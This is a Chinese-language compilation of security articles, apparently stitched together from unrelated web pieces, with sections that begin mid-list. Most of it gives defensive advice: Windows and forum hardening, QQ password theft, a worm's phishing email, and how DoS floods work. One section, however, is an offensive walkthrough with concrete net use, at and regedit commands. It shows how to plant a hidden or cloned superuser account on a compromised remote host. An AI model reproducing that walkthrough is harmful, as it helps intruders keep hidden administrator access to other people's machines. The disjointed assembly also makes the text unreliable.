只要掌握了信息安全技术，才不会担心你的信息的丢失，不担心你上网会被盗窃银行密码和QQ密码邮箱密码，我们才不会出现陈冠希一样的尴尬。

　　春节前后，网上炒的最沸腾的就是“艳照门”了，这在信息安全这个小小的圈子里也一个不大不小的热点。一时间众说纷纭，社交工程、信息销毁、道德法律等字眼都进入眼帘。

　　我就想不到那么复杂的东东，我觉得就是两个小的细节没有做好。

　　1.送修前没有将硬盘卸除或者彻底销毁关键数据：由于种种的不方便，似乎很少人这么做。

　　2.没有在维修时进行全程维修陪同监控：由于没有这方面的意识，似乎很少人这么做。

　　如果这两个小动作做了，那么就可以避免此次安全事件的发生。

　　对于网站的站长来说，安全应该怎么做呢？

　　目前很多人都采用动网、LEADBBS、动易系统等程序做网站，由于源码公开，因此程序漏洞暴露明显，很容易被黑，安全专家陈十三哥建议大家参考以下部分安全建议，做好自身安全：

　　(1)仔细查看安装说明，切记修改默认数据库名，并且一定要把扩展名改为asp或者asa，因为不经处理的数据库可以直接下载，根本无安全可言，另外可以把数据库所在目录改名。

　　(2)尽量不采用无组件上传，使用其他组件上传方式（比如Fileup或LyfUpload），部分无组件上传带有严重漏洞，一般可通过修改upfile.asp文件选择上传方式。

　　(3)经常访问相关官方网站，关注程序安全漏洞和更新版本，及时给自己程序升级或打上补丁。

　　(4)尽量不采用修改版和插件版的程序，因为修改后的程序会使漏洞更多，而且补丁也不一定完全适用。

　　(5)设置相对复杂的FTP密码和网站管理密码并经常修改，同时考虑修改网站后台管理的文件名称。

　　(6)经常检查网站内文件，发现可疑文件后及时处理，并分析可能的原因。

　　(7)对于SQL数据库，您可以用企业管理器连接，然后把重要数据表设置为只读权限，如动网的DV_Admin表修改为只读以后，可以防止任何方式添加管理员。

　　(8)二次开发时切记做好对特殊符号的过虑，防止注入漏洞。

　　(9)经常备份自己的网站数据，因为网站安全的第一要求就是备份，防止被黑以后数据丢失。

　　(10)如果有服务器管理权限建议把论坛上传图片目录设置权限最低。

　　在网络攻击成倍增长的今天，网络反黑客保安全已经成为每个计算机用户的必备课程。欲成为成功的信息安全专业人士，不仅需要不断更新最尖端的安全知识，还需要对商务过程和风险管理有深刻认识。就现在许多IT公司的现状来看，基本上每一个公司都有一名或多名（部门）专职的人员负责着公司内网、外网、服务器的网络安全维护。而随着网络应用的不断普及与信息安全服务需求市场的不断成熟，逐渐出现了一些专业的以信息安全服务为主要业务的团队、公司。

　　大多数公司的网管仅仅是程序人员和网页设计人员，对安全涉猎有限。而且，网络是否安全，有时并不是网络所有者自己完全清楚的。所以，许多公司要请第三方评估机构或专家来完成对网络安全的评估。这样做的好处是：能对自己所处的环境有个更加清醒的认识，把未来可能的风险降到最小。目前网络安全评估的中介机构，国外已经开始将网络的安全评估作为一个新的服务项目向社会推出。作为一种新兴的业务，其影响是否能象会计师事务所、审计师事务所之类的中介机构那样重要，尚需拭目以待。但有一点可以肯定，那就是网络上的商机同样也与风险同存。要想获得利润，就必须将安全问题解决。

一、隐藏IP地址
 
　　黑客经常利用一些网络探测技术来查看我们的主机信息，主要目的就是得到网络中主机的IP地址。IP地址在网络安全上是一个很重要的概念，如果攻击者知道了你的IP地址，等于为他的攻击准备好了目标，他可以向这个IP发动各种进攻，如DoS(拒绝服务)攻击、Floop溢出攻击等。隐藏IP地址的主要方法是使用代理服务器。
 
　　与直接连接到Internet相比，使用代理服务器能保护上网用户的IP地址，从而保障上网安全。代理服务器的原理是在客户机(用户上网的计算机)和远程服务器(如用户想访问远端WWW服务器)之间架设一个“中转站”，当客户机向远程服务器提出服务要求后，代理服务器首先截取用户的请求，然后代理服务器将服务请求转交远程服务器，从而实现客户机和远程服务器之间的联系。很显然，使用代理服务器后，其它用户只能探测到代理服务器的IP地址而不是用户的IP地址，这就实现了隐藏用户IP地址的目的，保障了用户上网安全。提供免费代理服务器的网站有很多，你也可以自己用代理猎手等工具来查找。

二、关闭不必要的端口

　　黑客在入侵时常常会扫描你的计算机端口，如果安装了端口监视程序，该监视程序则会有警告提示。如果遇到这种入侵，可用工具软件关闭用不到的端口，比如，关闭用来提供网页服务的80和443端口，其他一些不常用的端口也可关闭。
 
三、更换管理员帐户

　　Administrator帐户拥有最高的系统权限，一旦该帐户被人利用，后果不堪设想。黑客入侵的常用手段之一就是试图获得Administrator帐户的密码，所以我们要重新配置Administrator帐号。
 
　　首先是为Administrator帐户设置一个强大复杂的密码，然后我们重命名Administrator帐户，再创建一个没有管理员权限的Administrator帐户欺骗入侵者。这样一来，入侵者就很难搞清哪个帐户真正拥有管理员权限，也就在一定程度上减少了危险性。

四、杜绝Guest帐户的入侵
 
　　Guest帐户即所谓的来宾帐户，它可以访问计算机，但受到限制。不幸的是，Guest也为黑客入侵打开了方便之门!网上有很多文章中都介绍过如何利用Guest用户得到管理员权限的方法，所以要杜绝基于Guest帐户的系统入侵。
 
　　禁用或彻底删除Guest帐户是最好的办法，但在某些必须使用到Guest帐户的情况下，就需要通过其它途径来做好防御工作了。首先要给Guest设一个强壮的密码，然后详细设置Guest帐户对物理路径的访问权限。举例来说，如果你要防止Guest用户可以访问tool文件夹，可以右击该文件夹，在弹出菜单中选择“安全”标签，从中可看到可以访问此文件夹的所有用户。删除管理员之外的所有用户即可。或者在权限中为相应的用户设定权限，比方说只能“列出文件夹目录”和“读取”等，这样就安全多了
。
五、封死黑客的"后门"

　　俗话说“无风不起浪”，既然黑客能进入，那我们的系统一定存在为他们打开的"后门"，我们只要将此堵死，让黑客无处下手，岂不美哉!

1.删掉不必要的协议

　　对于服务器和主机来说，一般只安装TCP/IP协议就够了。鼠标右击“网络邻居”，选择“属性”，再鼠标右击“本地连接”，选择“属性”，卸载不必要的协议。其中NetBIOS是很多安全缺陷的源泉，对于不需要提供文件和打印共享的主机，可以将绑定在TCP/IP协议的NetBIOS给关闭，避免针对NetBIOS的攻击。

2.关闭“文件和打印共享”

　　文件和打印共享应该是一个非常有用的功能，但在我们不需要它的时候，它也是引发黑客入侵的安全漏洞。所以在没有必要"文件和打印共享"的情况下，我们可以将其关闭。即便确实需要共享，也应该为共享资源设置访问密码。

3.禁止建立空连接

　　在默认的情况下，任何用户都可以通过空连接连上服务器，枚举帐号并猜测密码。因此我们必须禁止建立空连接。方法有以下两种:方法一是修改注册表:到注册表 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA下，将DWORD值RestrictAnonymous的键值改为1即可。方法二是修改Windows 2000/XP的本地安全策略为“不允许SAM帐户和共享的匿名枚举”。  

4.关闭不必要的服务

　　服务开得多可以给管理带来方便，但也会给黑客留下可乘之机，因此对于一些确实用不到的服务，最好关掉。比如在不需要远程管理计算机时，我都会将有关远程网络登录的服务关掉。去掉不必要的服务停止之后，不仅能保证系统的安全，同时还可以提高系统运行速度。
 
六、做好IE的安全设置

　　ActiveX控件和Java Applets有较强的功能，但也存在被人利用的隐患，网页中的恶意代码往往就是利用这些控件编写的小程序，只要打开网页就会被运行。所以要避免恶意网页的攻击只有禁止这些恶意代码的运行。IE对此提供了多种选择，具体设置步骤是:“工具”→“Internet选项”→“安全”→“自定义级别”，建议您将ActiveX控件与Java相关选项禁用。谨慎些总没有错!

　　另外，在IE的安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过，微软在这里隐藏了“我的电脑”的安全性设定，通过修改注册表把该选项打开，可以使我们在对待ActiveX控件和Java Applets时有更多的选择，并对本地电脑安全产生更大的影响。

　　下面是具体的方法:打开“开始”菜单中的“运行”，在弹出的“运行”对话框中输入Regedit.exe，打开注册表编辑器，点击前面的“+”号顺次展开到:HKEY_CURRE-NT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\0，在右边窗口中找到DWORD值“Flags”，默认键值为十六进制的21(十进制33)，双击“Flags”，在弹出的对话框中将它的键值改为“1”即可，关闭注册表编辑器。无需重新启动电脑，重新打开IE，再次点击“工具→Internet选项→安全”标签，你就会看到多了一个“我的电脑”图标，在这里你可以设定它的安全等级。将它的安全等级设定高些，这样的防范更严密。
 
七、安装必要的安全软件

　　我们还应在电脑中安装并使用必要的防黑软件，杀毒软件和防火墙都是必备的。在上网时打开它们，这样即便有黑客进攻我们的安全也是有保证的。

八、防范木马程序

　　木马程序会窃取所植入电脑中的有用信息，因此我们也要防止被黑客植入木马程序，常用的办法有:

　　● 在下载文件时先放到自己新建的文件夹里，再用杀毒软件来检测，起到提前预防的作用。
　　● 在“开始”→“程序”→“启动”或“开始”→“程序”→“Startup”选项里看是否有不明的运行项目，如果有，删除即可。
　　● 将注册表里 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下的所有以“Run”为前缀的可疑程序全部删除即可。

九、不要回陌生人的邮件

　　有些黑客可能会冒充某些正规网站的名义，然后编个冠冕堂皇的理由寄一封信给你要求你输入上网的用户名称与密码，如果按下“确定”，你的帐号和密码就进了黑客的邮箱。所以不要随便回陌生人的邮件，即使他说得再动听再诱人也不上当。

十、及时给系统打补丁

　　最后，建议大家到微软的站点下载自己的操作系统对应的补丁程序，微软不断推出的补丁尽管让人厌烦，但却是我们网络安全的基础。

    目前QQ木马品种繁多，功能强大，且易学易用，连初学者也会用！正因为这样，QQ木马才那么容易泛滥成灾，现在的网吧，学校机房……30%都可能被人装上了木马，况且大家的防盗意识不高，QQ被盗已是常见事。当QQ被盗了，怎么才可以要回呢？！这是我在网上回答网友N遍的问题了，现在总结一下供大家参考：

    要想要回QQ有必要了解下QQ是怎么被盗的，“小黑客们” 常用以下几种盗取QQ：

（1）装木马程序。QQ被盗95%都是中了别人装的木马程序。什么叫木马程序你也不必要理解，就当作是你上QQ时有个东西记录了你的QQ密码，然后通过邮件发送出去告诉别人。

（2）穷举盗号，也就是常说的在线破解。这种方法只对密码简单的用户有效，而且速度不佳，指定盗号的成功率几乎为零，除非盗你QQ那家伙的脑子有点问题，把密码改为：110，119，或在你密码后面加个1，0……等容易猜解的密码。不理解不要紧，你就当作有个人帮你要QQ时不懂密码，随意把数字，字母的所以组合当密码一个个去试到可以登陆为止！

（3）本地破解。当你在一台电脑上过QQ后会留下某些东西在电脑上，而后来者通过些手段把你留下的东西破解出来，这东西或许是你的QQ密码（你登陆QQ时选择保存密码的时候），或许是你的其他资料……

    QQ被盗怎么要回QQ密码呢？首先声明，如果你的号码被盗，不是一定能找回的，但也不是绝对没有可能，因为世界上没有绝对的事情。

    如果你申请密码保护的话直接去要就可以了，收不到邮件？有可能是网络繁忙，试多几次，等久点；有可能你的邮箱不支持，腾讯的密码邮件发不到。我们着重说下后者情况，很多人见发不到就放弃了。其实不要放弃，密码资料是可以修改的，或许你玩那么久QQ都没有注意到，那么现在得注意了。你可以去这里根据你的密码保护资料修改你的密码保护的邮箱。再去要回你的QQ！

据Theinquirer.net网站报道，这家安全公司介绍说，这种电子邮件一般写得很差，几乎没有什么意义。这种电子邮件谈论的内容是机器人、补丁和蠕虫。下面是这种电子邮件的全文：

亲爱的用户:
我们的机器人修复了来自你发送电子邮件的IP地址的一个异常行为。
也许这种异常行为与上一次的蠕虫感染有关。
这个蠕虫感染现在还没有使用补丁修复。
我们建议你安装一个防火墙模块。它将阻止发送上述电子邮件。
否则，你的电子邮件账户将被封锁，直到你消除这个错误为止。
客户技术支持中心机器人
 

据MicroWorld公司称，许多用户被这种系统生成性质的文本信息所迷惑。MicroWorld首席执行官Govind Rammurthy表示，许多用户以为这种电子邮件是机器发出来的，而不是人类发出来的，从而麻痹了用户鉴别真伪的能力。

这种蠕虫名为“Warazov”，也称作“Warazov”。这是一种可执行文件，能够把各种恶意软件安装到你的计算机中并且能够把自己发送到地址簿中的每一个收件人。MicroWorld警告用户千万不要麻痹大意。

攻击者进行拒绝服务攻击，实际上让服务器实现两种效果：一是迫使服务器的缓冲区满，不接收新的请求；二是使用IP欺骗，迫使服务器把合法用户的连接复位，影响合法用户的连接。

接下来了解一下几种常见的拒绝服务攻击的原理：

1．SYN Foold
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(Distributed Denial Of Service分布式拒绝服务攻击)的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

SYN Flood攻击的过程在TCP协议中被称为三次握手(Three-way Handshake)，而SYN Flood拒绝服务攻击就是通过三次握手而实现的。

(1) 攻击者向被攻击服务器发送一个包含SYN标志的TCP报文，SYN(Synchronize)即同步报文。同步报文会指明客户端使用的端口以及TCP连接的初始序号。这时同被攻击服务器建立了第一次握手。

(2) 受害服务器在收到攻击者的SYN报文后，将返回一个SYN+ACK的报文，表示攻击者的请求被接受，同时TCP序号被加一，ACK(Acknowledgement)即确认，这样就同被攻击服务器建立了第二次握手。

(3) 攻击者也返回一个确认报文ACK给受害服务器，同样TCP序列号被加一，到此一个TCP连接完成，三次握手完成。

具体原理是：TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成)，这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级(大约为30秒~2分钟)；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况(伪造IP地址)，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃—— 既使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小)，此时从正常客户的角度看来，服务器失去响应，这种情况就称作：服务器端受到了SYN Flood攻击(SYN洪水攻击)。

2．IP欺骗DOS攻击
这种攻击利用RST位来实现。假设现在有一个合法用户(61.61.61.61)已经同服务器建立了正常的连接，攻击者构造攻击的TCP数据，伪装自己的IP为61.61.61.61，并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后，认为从61.61.61.61发送的连接有错误，就会清空缓冲区中建立好的连接。这时，如果合法用户61.61.61.61再发送合法数据，服务器就已经没有这样的连接了，该用户就必须从新开始建立连接。攻击时，攻击者会伪造大量的IP地址，向目标发送RST数据，使服务器不对合法用户服务，从而实现了对受害服务器的拒绝服务攻击。

3. UDP洪水攻击
攻击者利用简单的TCP/IP服务，如Chargen和Echo来传送毫无用处的占满带宽的数据。通过伪造与某一主机的Chargen服务之间的一次的UDP连接，回复地址指向开着Echo服务的一台主机，这样就生成在两台主机之间存在很多的无用数据流，这些无用数据流就会导致带宽的服务攻击。

4. Ping洪流攻击
由于在早期的阶段，路由器对包的最大尺寸都有限制。许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB，并且在对包的标题头进行读取之后，要根据该标题头里包含的信息来为有效载荷生成缓冲区。当产生畸形的，声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时，就会出现内存分配错误，导致TCP/IP堆栈崩溃，致使接受方死机。

5. 泪滴(teardrop)攻击
泪滴攻击是利用在TCP/IP堆栈中实现信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指明该分段所包含的是原包的哪一段的信息，某些TCP/IP(包括service pack 4以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。

6. Land攻击
Land攻击原理是：用一个特别打造的SYN包，它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息，结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留，直到超时，对Land攻击反应不同，许多UNIX实现将崩溃，NT变的极其缓慢(大约持续5分钟)。

7. Smurf攻击
一个简单的Smurf攻击原理就是：通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。最终导致该网络的所有主机都对此ICMP应答请求作出答复，导致网络阻塞。它比ping of death洪水的流量高出1或2个数量级。更加复杂的Smurf将源地址改为第三方的受害者，最终导致第三方崩溃。

8.Fraggle攻击
原理：Fraggle攻击实际上就是对Smurf攻击作了简单的修改，使用的是UDP应答消息而非ICMP。

　　2、禁用GUEST帐户，禁用或删除一些不必要的帐户； 　　

　　3、更改Administrator帐户的名字（在“我的电脑”点右键选择管理——本地用户和组——用户在右册窗口中选中Administrator点右键选重命名输入所需要名字即可）； 　　

　　4、设定帐户锁定策略（控制面板——管理工具——本地安全策略——帐户策略——帐户锁定策略） 　　

　　5、在XP中不允许SAM帐户匿名枚举：打开“组策略”，计算机配置——Windows设置——安全设置——本地策略——安全选项；双击“网络访问：不允许SAM帐户匿名枚举”，确保选中“已启用”；同时还要启用“网络访问：不允许 SAM帐户和共享的匿名枚举”； 　　

　　6、开启密码策略：进入“控制面板——本地安全策略”，打开密码策略，设置该项如下：

　　密码复杂行要求：启用；　　

　　密码长度最小值：7位； 　　

　　强制密码历史：5位；　　

　　最长存留期：42天； 　　

　　7、设置用户权限：当多人共同用一台计算机时，可通过组织策略在Windows XP中设置用户权限。打开“组策略”展开“计算机配置——Windows设置——安全设置——本地策略——用户权利指派”分支。双击需要改变的用户权限。单击“增加”，然后双击想指派给权限的用户帐号.

2、先与肉鸡建立连接,命令为：net use 13.50.97.238ipc$ "12345678" /user:"administrator

　　3、用at命令在肉鸡上建立一个用户(如果at服务没有启动，可用小榕的netsvc.exe或sc.exe来远程启动)：

　　at 13.50.97.238 12:51 c:\winntsystem32net.exe user hacker$ 1234 /add

　　建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。

　　4、同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值：

　　at 13.50.97.238 12:55 c:\winntregedit.exe /e hacker.reg

　　HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers

　　/e 是regedit.exe的参数，在_LOCAL_MACHINESAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将“c:\winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers”引起来。

　　5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为：

　　copy 13.50.97.238admin$system32hacker.reg c:\hacker.reg

　　修改的方法图形界中已经介绍过了，这里就不作介绍了。

　　6、再将编辑好的hacker.reg拷回肉鸡上

　　copy c:\hacker.reg 13.50.97.238admin$system32hacker1.reg

　　7、查看肉鸡时间：net time 13.50.97.238 然后用at命令将用户hacker$删除：

　　at 13.50.97.238 13:40 net user hacker$ /del

　　8、验证hacker$是否删除：用

　　net use 13.50.97.238 /del 断开与肉鸡的连接。

　　net use 13.50.97.238ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接，不能连接说明已删除。

　　9、再与肉鸡建立连接：net use 13.50.97.238ipc$ "12345678" /user:"administrator"再取得肉鸡时间，用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表：

　　at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg

　　regedit.exe的参数/s是指安静模式。

　　10、再验证hacker$是否已建立，方法同上面验证hacker$是否被删除一样。

　　11、再验证用户hacker$是否有读、写、删的权限，如果不放心，你还可验证是否能建立其它帐户。

　　12、通过11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。

　三、如果肉鸡没有开3389终端服务，而我又不想用命令行，怎么办?

　　这种情况下，你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能，你可以用regedt32.exe来为远程主机的注册表项设置权限，用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能，你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似，我就不多说了，只它的速度实在是令人难以忍受。

　　是这里有两个前提：1、先用net use 肉鸡ipipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后，才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。

　　2、远程主机必须开启远程注册表服务(没有开启的话，你也可以远程开启，因为你有超级用户的密码了)。

　　四、利用被禁用的帐户建立隐藏的超级用户

　　1、想办查看有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然了会禁用其它用户。在图形界面下，非常容易，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下，我还没有想到好的办法，只能在命令行下用命令：“net user 用户名”一个一个来查看用户是否被禁用。

2.在这里，我们假设用户hacker被管理员禁用。首先，我先用小榕的超组用户克隆程序CA.exe，将被禁用的用户hacker 克隆成超级用户(克隆之后，被禁用的用户hacker就会自动被激活了)： CA.EXE 肉鸡ip Administrator 超级用户密码 hacher hacher密码。

　　3.如果你现在一个cmdshell，如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以，这时你只要输入命令：

　　net user hacker /active:no

　　这样用户hacker就被禁用了(至少表面上是这样的)，当然你也可以将用户hacher换成其它的被禁用的用户。

　　4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了，但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令：net user 肉鸡ipipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家，经过我多次试验，次次都能成功，而且还是超级用户权限。

　　5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式：at 肉鸡ip 时间 net user hacker /active:no

　　6.原理：具体的高深的原理我也说不上来，我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看，肯定会弹出一对话框，并禁止你继续禁用超级用户administrator，同样，因为在克隆时，hacker在注册表的“F”键被超级用户administrator在注册表的“F”键所替代，因而hacker就具有了超级用户的权限了，但是由于hacker在注册表内“C”健还是原来的“C”键，所以hacker还是会被禁用，但是它的超级用户权限却不会被禁用，因此被禁用的用户hacker还是可以连接肉鸡，而且还具有超级用户的权限。具体我也说不明白，大家权且这么理解吧。

　　五、注意的几点事项

　　1、隐藏的超级用户建立以后，在帐户管理器中和命令行下均看不到这个用户，但这个用户却存在。

　　2、隐藏的超级用户建立以后，就不能再修改密码了，因为一旦修改密码，这个隐藏的超级用户就会暴露在帐户管理器中，而且不能删除。3、如在本机上试验时，最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份，因为本人做试验时，曾出现过帐户管理器中看不到任何用户，组中也看不到任何组的现象，但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。

　　4、本方法在2000/XP上测试通过，未在NT上测试。

　　一个QQ号的丢失引起的警惕

　　从2000年小李由一个不懂计算机的菜鸟开始向虚拟的互联网接触，也是自那时起他学习并使用了聊天工具，也随之有了一个自己的QQ号。通过上网聊天小李结识了很多朋友，除此之外他从互联网上也学到了不少知识，自此互联网成为他生活中的一部分。

　　经过一段磨炼的小李虽然已经掌握了操作电脑的基本技术，但他对系统的安全意识非常的淡薄。据他回忆说2000年，他的电脑配置是P3 800+128MB内存+20GB硬盘，本身电脑速度就慢，如果在运行杀毒程序基本上就不用干别的了。当时的操作系统还是基于Windows98，一次有一位朋友来他家做客，发现他的电脑速度比正常情况下还慢，于是朋友从家里带来了一款杀毒软件，经过检测从计算机C盘就查出1万多个病毒，这还不包括其他的分区。

　　格式化C盘：因为机器里面并没有太多的数据资料，因此第一次的病毒入侵并没有让小李过多去在意。也是从这次开始，他清除病毒的解决方法就是格式化C盘。

　　系统还原：随着时间飞逝，更多的操作让系统注册表不断庞大，再加上病毒的入侵让系统频繁崩溃。格式化已经不能解决根本问题，一边又一遍安装应用软件既费时又费力，于是小李选择了当系统安装完成之后使用GHOST备份系统及安装程序，这样在恢复时就可以节约很多的时间。

　　谈到安全性个人电脑被攻击的目标往往小于商务、企业单位，小李毕业后参加了工作，在工作的这段日子里意想不到的事情发生了。刚刚下班回家的小李在家上网时发现自己的QQ密码错误。这时他已经意识到QQ密码被盗了，回到单位后他发现自己所用的工作机已经感染了特洛伊木马，如果要想找回密码只能通过QQ密码保护申请了。

　　其实一个QQ号的价值并没有很高，但丢失的不仅仅是一个号码，更重要的是里面多年积攒的好友和客户，当然小李因为申请了密码保护才可以让号码失而复得，如果没有申请密码保护恐怕很难再找回来了。

　　以上我们例举的这个小李的实例在我们生活中大家经常会遇到，不光是QQ密码丢失，网银帐号被盗也是常事。QQ大盗、特洛伊木马、蠕虫病毒等这些黑客软件成为影响计算机安全的罪魁祸首。

　　常见的病毒的传播途径

　　目前病毒的传播途径主要有：Internet传播、局域网传播、移动存储设备传播、无线传播等四种主要方式。

　　Internet既方便又快捷，不仅提高人们的工作效率，而且降低运作成本，逐步被人们所接受并得到广泛的使用。商务来往的电子邮件，还有浏览网页、下载软件、即时通讯软件、网络游戏等等，都是通过互联网这一媒介进行。如此频繁的使用率，注定备受病毒的“青睐”。

　　1.通过电子邮件传播:电子邮件无论是个人还是商务都是传递信息的桥梁，也成为了病毒的载体。最常见的是当用户接收到邮件之后，病毒或木马程序经过下载之后会自动下载到本地开始运行，FTP下载和BBS文件区也是病毒传播的主要形式。

　　解决方法：安装邮件防火墙、下载附件时不要运行.exe文件，对大容量不明文件进行直接屏蔽或删除。

　　2.通过浏览网页和下载软件传播:

　　很多网友都遇到过这样的情况，在浏览过某网页之后，IE标题便被修改了，并且被强制安装了一些插件程序，每次打开IE都被迫登陆某一固定网站，有的还被禁止恢复还原，这便是恶意代码在作怪。当你的IE被修改，注册表不能打开了，开机后IE疯狂地打开窗口，被强制安装了一些不想安装的软件，那末肯定是中了恶意网站或恶意软件的毒了，有些病毒我们也称为流氓软件。

　　解决方法：不要浏览一些不健康网站或误入一些黑客站点，访问这些站点的同时或单击其中某些链接如果出现下载软件提示时，选择不安装，或者将该页面强制关闭。

　　3.通过即时通讯软件传播:

　　在我国IM软件可以说是网民使用率最高的软件之一，像MSN、QQ已经成为日常工作及。由于用户数量众多，再加上即时通讯软件本身的安全缺陷，使病毒及黑客软件成为它们捕捉的目标。早些时候针对QQ的病毒、木马较多，而近年来针对MSN的病毒也逐渐多起来，虽然各款及时通讯软件将自己的软件版本不断升级，但截至目前通过QQ来进行传播的病毒已达上百种。

　　解决方法：使用官方版本的及时通讯软件，不要使用外挂程序，定期将自己的病毒库进行更新升级。

　　4.通过网络游戏传播:

　　网络游戏已经成为人们缓解生活压力的一种消遣方式。对于游戏玩家来说，网络游戏中最重要的就是装备、道具等这些虚拟物品了，这些装备会随着时间的积累而成为一种有真实价值的东西，因此出现了针对这些虚拟物品的交易，从而出现了偷盗虚拟物品的现象。因此特洛伊木马(Trojan horse)成为菜鸟和不法分子的最爱。

　　解决方法：用户如果在家中上网需要安装杀毒软件及防火墙并定期更新，如果是在网吧或公共场所上网建议选择有杀毒软件的电脑使用。

　　最近流行的病毒及木马程序

　　像前一段流行的熊猫烧香这样的蠕虫病毒，不但对用户系统进行破坏，导致大量应用软件无法使用，还可删除扩展名为gho的所有文件，造成用户系统备份文件丢失，从而无法进行系统恢复，还能终止大量反病毒软件进程。除此之外，继熊猫烧香之后灰鸽子也成为威胁用户计算机安全的一个破坏程序，灰鸽子是国内一款著名后门程序，其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。

　　如何提高电脑的安全性

　　先说一下个人用户，我们建议使用正版的杀毒软件及应用程序，一些免费的程序建议从国内知名的软件站去下载，如：华军、天空、驱动之家等。其次避免浏览一些不良网站及论坛，最后在使用移动设备时应该先使用电脑中的杀毒软件查一遍毒，确保安全后再使用。其次是网吧及企业用户，因为整个网络主要是以局域网构成，因此一旦一台电脑被感染中毒之后，病毒很快就会被传播。因此建议这类用户使用企业版杀毒软件并同一进行定期更新，关闭操作系统中不常用到的服务选项，屏蔽一些可能被入侵的端口，如果发现网内有一台电脑中病毒之后应及时与其他电脑进行隔离。总而言之，定期更新杀毒软件的病毒库是关键。

　　病毒入侵后的挽救方法

　　在病毒入侵后，我们应先用杀毒软件进行杀毒，然后将电脑中的数据用磁盘或者是光盘等存储介质保存起来。假如病毒已经感染操作系统本身，而无法用原有的操作系统进行杀毒，建议尝试将硬盘拆下（设置成从盘）挂到另外一台机器上进行杀毒操作。如果是硬盘分区表被破坏，建议用分区表恢复软件修复。

　　总结：

　　只要您使用计算机接触互联网，就很有可能被病毒感染。照片、文档、资料或者是聊天工具相信对您都有一定的意义及价值，不要等它们丢失或损坏了才去想办法补救，到那时就来不及了。